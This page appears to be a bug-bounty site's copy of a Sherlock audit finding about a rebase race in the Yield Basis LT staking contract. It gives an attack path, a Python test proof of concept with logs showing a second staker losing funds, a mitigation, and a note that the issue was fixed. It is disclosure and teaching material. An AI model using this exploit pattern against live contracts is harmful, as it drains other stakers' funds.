Skip to content
Race condition Audit finding Advanced

Staker Balance Rebase Vulnerability in LT Contract

The LT contract delays updating a staker's balance after positive value changes, so a staker can unstake before the rebase and receive more tokens than they should, leaving other stakers with losses.

KupiaSec Follow with blockace, montecristo and 1 other

Originally disclosed on Sherlock

Source: https://github.com/sherlock-audit/2025-08-yield-basis-judging/issues/192

Found by

KupiaSec, blockace, montecristo, talfao

Summary

The LT contract has a vulnerability where stakers can avoid token rebasing by unstaking tokens before positivie value changes are applied. The balanceOf state for stakers is not updated until _calculate_values is called, creating a race condition that allows stakers to escape token rebasing at the expense of other users.

Root Cause

The vulnerability stems from the delayed balance updates for stakers in the LT contract. When positive value changes occur, the staker's balanceOf is not immediately updated. Instead, it only gets updated when functions that call _calculate_values are executed.

So when withdrawing tokens from the staker, the actual balanceOf[staker] update only happens in functions like _transfer when the staker interacts with the contract.

Internal pre-conditions

  • Users have staked LT tokens to the staking contract

External pre-conditions

  • LP Price increases from swap activities in the cryptopool

Attack Path

  1. Setup Phase: Total supply is 1000, staked tokens is 500, total value is 1000, staked value is 500, ideal staked value is 500. Among 500 staked tokens, 250 tokens are owned by Alice and 250 tokens are owned by Bob, each owning 250 shares. Everything matches 1:1 ratio.
  2. LP Price increases, causing positive value changes in the LT contract, e.g. 500 positive value accrued.
  3. Now, total value is increased to 1500 while staked value should maintain 500, so the staked balance should be rebased to match 3:1 ratio, which will be reducing 250 tokens to make: Total Supply = 750, Staked Tokens = 250, Ratio: 3:1.
  4. Alice unstakes her 250 shares from the staking contract, when withdraw or redeem is called, the balanceOf[staker] is still 500, returning 250 tokens to Alice for 250 shares.
  5. During transfer, in _transfer function, the rebalance occurs, making balanceOf[staker] to be 250.
  6. Alice takes 250 tokens, so at the end of Alice's unstaking, balanceOf[staker] will be zero.
  7. Bob has 250 shares but total staked tokens is 0, so Bob loses all his tokens.

PoC

Here's a test case that demonstrates the vulnerability:

Python
import boa
import logging

import pytest

UNIT = 10**18

def test_audit_stake_loss(cryptopool, yb_lt, yb_amm, yb_staker, collateral_token, stablecoin, cryptopool_oracle,
                yb_allocated, seed_cryptopool, accounts, admin):
    user1 = accounts[0]
    user2 = accounts[1]

    # User1 deposits to LT and stakes to staker
    with boa.env.prank(user1):
        collateral_token._mint_for_testing(user1, UNIT)
        yb_lt.deposit(UNIT, UNIT * 100_000, 0)
        logging.info("User1 Balance: " + str(yb_lt.balanceOf(user1)))
        yb_staker.deposit(UNIT // 2, user1)

    # User2 deposits to LT and stakes to staker
    with boa.env.prank(user2):
        collateral_token._mint_for_testing(user2, UNIT)
        yb_lt.deposit(UNIT, UNIT * 100_000, 0)
        logging.info("User2 Balance: " + str(yb_lt.balanceOf(user2)))
        yb_staker.deposit(UNIT // 2, user2)
    
    logging.info("PricePerShare: " + str(yb_lt.pricePerShare()))
    logging.info("LP Price: " + str(cryptopool.lp_price()))

    # LP Price Up
    with boa.env.prank(admin):
        stablecoin._mint_for_testing(admin, 200_000 * UNIT)
        amt = 200_000 * UNIT
        for _ in range(10):
            amt = cryptopool.exchange(0, 1, amt, 0)
            amt = cryptopool.exchange(1, 0, amt, 0)

    logging.info("--------------------------------")
    logging.info("PricePerShare: " + str(yb_lt.pricePerShare()))
    logging.info("LP Price: " + str(cryptopool.lp_price()))

    # User1 unstakes from staker
    with boa.env.prank(user1):
        balance_pre = yb_lt.balanceOf(user1)
        yb_staker.redeem(yb_staker.balanceOf(user1), user1, user1)
        logging.info("User1 Redemed: " + str(yb_lt.balanceOf(user1) - balance_pre))

    # User2 unstakes from staker
    with boa.env.prank(user2):
        balance_pre = yb_lt.balanceOf(user2)
        yb_staker.redeem(yb_staker.balanceOf(user2), user2, user2)
        logging.info("User2 Redemed: " + str(yb_lt.balanceOf(user2) - balance_pre))

Logs from the test case:

Bash
INFO     root:test_audit_stake.py:17 User1 Balance: 999989999899998001
INFO     root:test_audit_stake.py:24 User2 Balance: 999978181292387245
INFO     root:test_audit_stake.py:27 PricePerShare: 1000008485451085441
INFO     root:test_audit_stake.py:28 LP Price: 632460802529822601519
INFO     root:test_audit_stake.py:38 --------------------------------
INFO     root:test_audit_stake.py:39 PricePerShare: 1058152534017649979
INFO     root:test_audit_stake.py:40 LP Price: 647215310933977593314
INFO     root:test_audit_stake.py:46 User1 Redemed: 499995757310458414
INFO     root:test_audit_stake.py:52 User2 Redemed: 445051587545082662

As it shows, User1 redeems his tokens without loss, and User2 bears all the losses.

Impact

This vulnerability allows stakers to avoid token rebasing during positive value changes by unstaking tokens before the balance rebase occurs, effectively socializing losses among remaining stakers.

Mitigation

The balanceOf function should be defined to reflect the actual rebased balance of the staker in real-time.

Discussion

sherlock-admin2

The protocol team fixed this issue in the following PRs/commits: https://github.com/yield-basis/yb-core/commit/04fc0ca200689d7c49270fc7d8dd95e751175c75

The original report as published on Sherlock, by KupiaSec. Images and videos are our own copies; raw HTML is shown as text. View it on Sherlock.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

The staker's balance is not updated immediately when positive value changes occur; it is only updated when functions like `_transfer` call `_calculate_values`, creating a window for exploitation.

Impact

A staker can avoid the negative effects of a rebase and take more tokens than they should, causing other stakers to lose their funds.

What the attacker needed

Users have staked LT tokens; LP price increases

The fix

The `balanceOf` function should be updated to reflect the rebased balance in real-time, and the protocol team fixed this issue.

How it was found

  1. Two users each stake half of the total staked tokens, with a 1:1 ratio between shares and tokens.
  2. The LP price increases, creating a positive value change that should rebase the staked balance to a 3:1 ratio.
  3. One user unstakes their shares before the rebase occurs, receiving the pre-rebase amount of tokens.
  4. The rebase happens during the transfer, reducing the staker's balance to zero.
  5. The other user is left with shares but no tokens, losing their stake.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

When the value of the staked tokens goes up, the contract is supposed to adjust everyone's share to keep things fair. But it only updates a person's balance when they interact with the contract. So one person can quickly unstake before the update and take more than their fair share, leaving others with less.

What is Race condition?

Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.

More by KupiaSec

View all

28 more disclosed reports, best first.

More from Yield Basis

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Race conditions

The lesson behind this report.

Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.